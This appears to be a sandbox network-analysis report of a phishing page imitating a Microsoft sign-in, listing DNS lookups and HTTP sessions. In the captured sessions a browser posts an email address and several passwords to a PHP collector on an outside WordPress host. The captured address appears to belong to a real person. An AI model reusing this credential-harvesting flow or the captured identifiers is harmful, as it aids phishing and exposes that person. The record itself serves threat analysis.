Jan 13, 2025 16:44:54.602860928 CET	1.1.1.1	192.168.2.4	0x9fce	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Jan 13, 2025 16:44:54.677889109 CET	1.1.1.1	192.168.2.4	0x89e9	No error (0)	www.newlifecon.com	newlifecon.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:54.686465025 CET	1.1.1.1	192.168.2.4	0xe5fb	No error (0)	www.newlifecon.com	newlifecon.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:54.686465025 CET	1.1.1.1	192.168.2.4	0xe5fb	No error (0)	newlifecon.com		151.106.103.153	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.305970907 CET	1.1.1.1	192.168.2.4	0x53a5	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.305970907 CET	1.1.1.1	192.168.2.4	0x53a5	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.306184053 CET	1.1.1.1	192.168.2.4	0x9cc8	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 13, 2025 16:44:55.312733889 CET	1.1.1.1	192.168.2.4	0x17fe	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.312733889 CET	1.1.1.1	192.168.2.4	0x17fe	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.312767982 CET	1.1.1.1	192.168.2.4	0xb0de	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Jan 13, 2025 16:44:55.398137093 CET	1.1.1.1	192.168.2.4	0xd4de	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.398137093 CET	1.1.1.1	192.168.2.4	0xd4de	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.398137093 CET	1.1.1.1	192.168.2.4	0xd4de	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.398137093 CET	1.1.1.1	192.168.2.4	0xd4de	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.455260992 CET	1.1.1.1	192.168.2.4	0x8271	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.455260992 CET	1.1.1.1	192.168.2.4	0x8271	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:55.455298901 CET	1.1.1.1	192.168.2.4	0x971f	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Jan 13, 2025 16:44:55.861022949 CET	1.1.1.1	192.168.2.4	0xf5b6	No error (0)	intechdesign.kylos.pl		94.154.117.206	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:56.033338070 CET	1.1.1.1	192.168.2.4	0x39e4	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:57.171282053 CET	1.1.1.1	192.168.2.4	0x6b80	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 13, 2025 16:44:57.171559095 CET	1.1.1.1	192.168.2.4	0x1b81	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:57.554147005 CET	1.1.1.1	192.168.2.4	0x4112	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:57.554147005 CET	1.1.1.1	192.168.2.4	0x4112	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:57.554147005 CET	1.1.1.1	192.168.2.4	0x4112	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:57.554857969 CET	1.1.1.1	192.168.2.4	0x5b32	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:57.554857969 CET	1.1.1.1	192.168.2.4	0x5b32	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:57.572287083 CET	1.1.1.1	192.168.2.4	0x1d1a	No error (0)	intechdesign.kylos.pl		94.154.117.206	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:57.586100101 CET	1.1.1.1	192.168.2.4	0x1639	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:57.586100101 CET	1.1.1.1	192.168.2.4	0x1639	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:58.358764887 CET	1.1.1.1	192.168.2.4	0x860b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:58.358764887 CET	1.1.1.1	192.168.2.4	0x860b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:58.641561031 CET	1.1.1.1	192.168.2.4	0xd290	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:58.641561031 CET	1.1.1.1	192.168.2.4	0xd290	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:58.641561031 CET	1.1.1.1	192.168.2.4	0xd290	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 13, 2025 16:44:58.642560005 CET	1.1.1.1	192.168.2.4	0x2312	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 16:44:58.642560005 CET	1.1.1.1	192.168.2.4	0x2312	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

www.newlifecon.com

cdnjs.cloudflare.com

maxcdn.bootstrapcdn.com

stackpath.bootstrapcdn.com

code.jquery.com

a.nel.cloudflare.com

aadcdn.msftauth.net

intechdesign.kylos.pl

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49750	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:44:55.867645979 CET	395	OUT	POST /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive Content-Length: 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
Jan 13, 2025 16:44:57.509551048 CET	451	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:44:56 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent,Accept-Encoding Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Encoding: gzip Content-Length: 36 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ab 56 2a 2e 49 2c 29 2d 56 b2 4a 4b cc 29 4e ad 05 00 f4 4d 82 5d 10 00 00 00 Data Ascii: V*.I,)-VJK)NM]
Jan 13, 2025 16:44:57.577563047 CET	478	OUT	POST /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive Content-Length: 38 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 73 74 69 6a 6e 2e 73 65 73 73 65 6c 6c 65 40 62 70 6f 73 74 2e 62 65 Data Ascii: do=check&email=stijn.sesselle@bpost.be
Jan 13, 2025 16:44:58.259398937 CET	591	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:44:57 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent,Accept-Encoding Content-Encoding: gzip Content-Length: 202 Keep-Alive: timeout=2, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c5 ce 31 72 c3 20 10 85 e1 bb 50 47 46 44 08 64 cf 78 72 11 1a 04 18 b0 e4 45 61 17 27 b1 27 77 8f 27 69 72 03 b7 ef 2f de 77 67 48 96 1a b2 03 c3 e6 5c 40 64 2f 6c b6 00 a1 3e a6 44 b4 e1 c1 70 c3 ad f5 ce c3 ee 82 b6 51 ca 17 1b 03 ee 20 90 e1 4e 38 35 2b 37 75 ed 63 13 14 96 31 c5 9a 5a 3c 95 ae 88 9c 6f c2 d7 eb e6 97 ee 9c c2 a7 68 cb fa 3e 5f 4f 5f 86 af 25 66 a0 00 16 68 ae 16 7c 86 68 78 6f f8 df f3 a3 96 37 c2 a3 1a 94 96 5a cb 61 94 7d af e5 a4 d4 2f ce 2d b1 96 06 fe 19 c0 bc ae 0d a9 5a ca 05 fe 11 87 fd b4 57 c3 ab 1e e5 c8 be 7f 00 81 dd 5b a8 54 01 00 00 Data Ascii: 1r PGFDdxrEa''w'ir/wgH\@d/l>DpQ N85+7uc1Z<oh>_O_%fh\|hxo7Za}/-ZW[T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49757	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:44:57.578557014 CET	298	OUT	GET /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 13, 2025 16:44:58.638001919 CET	374	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:44:58 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Length: 0 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8
Jan 13, 2025 16:44:58.649548054 CET	298	OUT	GET /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 13, 2025 16:44:58.867306948 CET	347	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:44:58 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent Content-Length: 0 Keep-Alive: timeout=2, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49773	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:45:08.566528082 CET	499	OUT	POST /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive Content-Length: 59 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 73 74 69 6a 6e 2e 73 65 73 73 65 6c 6c 65 40 62 70 6f 73 74 2e 62 65 26 70 61 73 73 3d 38 61 69 49 25 32 33 58 2a 21 71 29 6b 57 59 41 Data Ascii: do=login&user=stijn.sesselle@bpost.be&pass=8aiI%23X*!q)kWYA
Jan 13, 2025 16:45:10.867088079 CET	498	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:45:09 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent,Accept-Encoding Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Encoding: gzip Content-Length: 83 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49778	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:45:10.945246935 CET	298	OUT	GET /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 13, 2025 16:45:11.626379013 CET	374	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:45:11 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Length: 0 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49779	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:45:20.567267895 CET	483	OUT	POST /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive Content-Length: 43 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 73 74 69 6a 6e 2e 73 65 73 73 65 6c 6c 65 40 62 70 6f 73 74 2e 62 65 26 70 61 73 73 3d Data Ascii: do=login&user=stijn.sesselle@bpost.be&pass=
Jan 13, 2025 16:45:22.451478958 CET	498	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:45:21 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent,Accept-Encoding Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Encoding: gzip Content-Length: 83 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49780	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:45:22.471640110 CET	298	OUT	GET /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 13, 2025 16:45:23.168368101 CET	374	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:45:23 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Length: 0 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49781	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:45:32.503132105 CET	510	OUT	POST /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive Content-Length: 70 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 73 74 69 6a 6e 2e 73 65 73 73 65 6c 6c 65 40 62 70 6f 73 74 2e 62 65 26 70 61 73 73 3d 30 25 32 43 32 33 68 25 33 42 78 25 35 44 73 77 69 34 6b 25 35 44 42 25 33 43 59 Data Ascii: do=login&user=stijn.sesselle@bpost.be&pass=0%2C23h%3Bx%5Dswi4k%5DB%3CY
Jan 13, 2025 16:45:34.605165005 CET	498	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:45:33 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent,Accept-Encoding Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Encoding: gzip Content-Length: 83 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49782	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:45:34.615514040 CET	298	OUT	GET /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 13, 2025 16:45:35.319881916 CET	374	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:45:35 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Length: 0 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49784	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:45:46.547854900 CET	501	OUT	POST /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive Content-Length: 61 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 73 74 69 6a 6e 2e 73 65 73 73 65 6c 6c 65 40 62 70 6f 73 74 2e 62 65 26 70 61 73 73 3d 70 6b 52 25 37 44 50 6c 56 74 6d 58 63 61 57 59 77 53 Data Ascii: do=login&user=stijn.sesselle@bpost.be&pass=pkR%7DPlVtmXcaWYwS
Jan 13, 2025 16:45:48.526547909 CET	498	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:45:47 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent,Accept-Encoding Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Encoding: gzip Content-Length: 83 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49785	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:45:48.535326004 CET	298	OUT	GET /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 13, 2025 16:45:49.257540941 CET	374	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:45:49 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Length: 0 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	64202	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:46:07.876008034 CET	483	OUT	POST /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive Content-Length: 43 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 73 74 69 6a 6e 2e 73 65 73 73 65 6c 6c 65 40 62 70 6f 73 74 2e 62 65 26 70 61 73 73 3d Data Ascii: do=login&user=stijn.sesselle@bpost.be&pass=
Jan 13, 2025 16:46:09.753259897 CET	498	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:46:08 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent,Accept-Encoding Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Encoding: gzip Content-Length: 83 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 0d c8 31 0e 80 40 08 04 c0 af 10 6a 5f e0 4f 2c 09 12 73 85 87 d9 85 58 18 ff ae 53 ce a3 2c ab a6 ae 1a 40 42 17 3d 83 b4 23 fe d9 b2 21 e6 9e 3d 4b 12 72 19 79 27 76 19 94 31 3d 81 f0 d2 f7 03 17 69 d3 75 44 00 00 00 Data Ascii: 1@j_O,sXS,@B=#!=Kry'v1=iuD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	64214	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:46:09.769990921 CET	298	OUT	GET /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 13, 2025 16:46:10.461005926 CET	374	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 15:46:10 GMT Server: Apache/2 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization Vary: User-Agent Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Length: 0 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	64364	94.154.117.206	80	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:47:06.330142975 CET	483	OUT	POST /wp-content/don/class.php HTTP/1.1 Host: intechdesign.kylos.pl Connection: keep-alive Content-Length: 43 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Data Raw: 64 6f 3d 6c 6f 67 69 6e 26 75 73 65 72 3d 73 74 69 6a 6e 2e 73 65 73 73 65 6c 6c 65 40 62 70 6f 73 74 2e 62 65 26 70 61 73 73 3d Data Ascii: do=login&user=stijn.sesselle@bpost.be&pass=
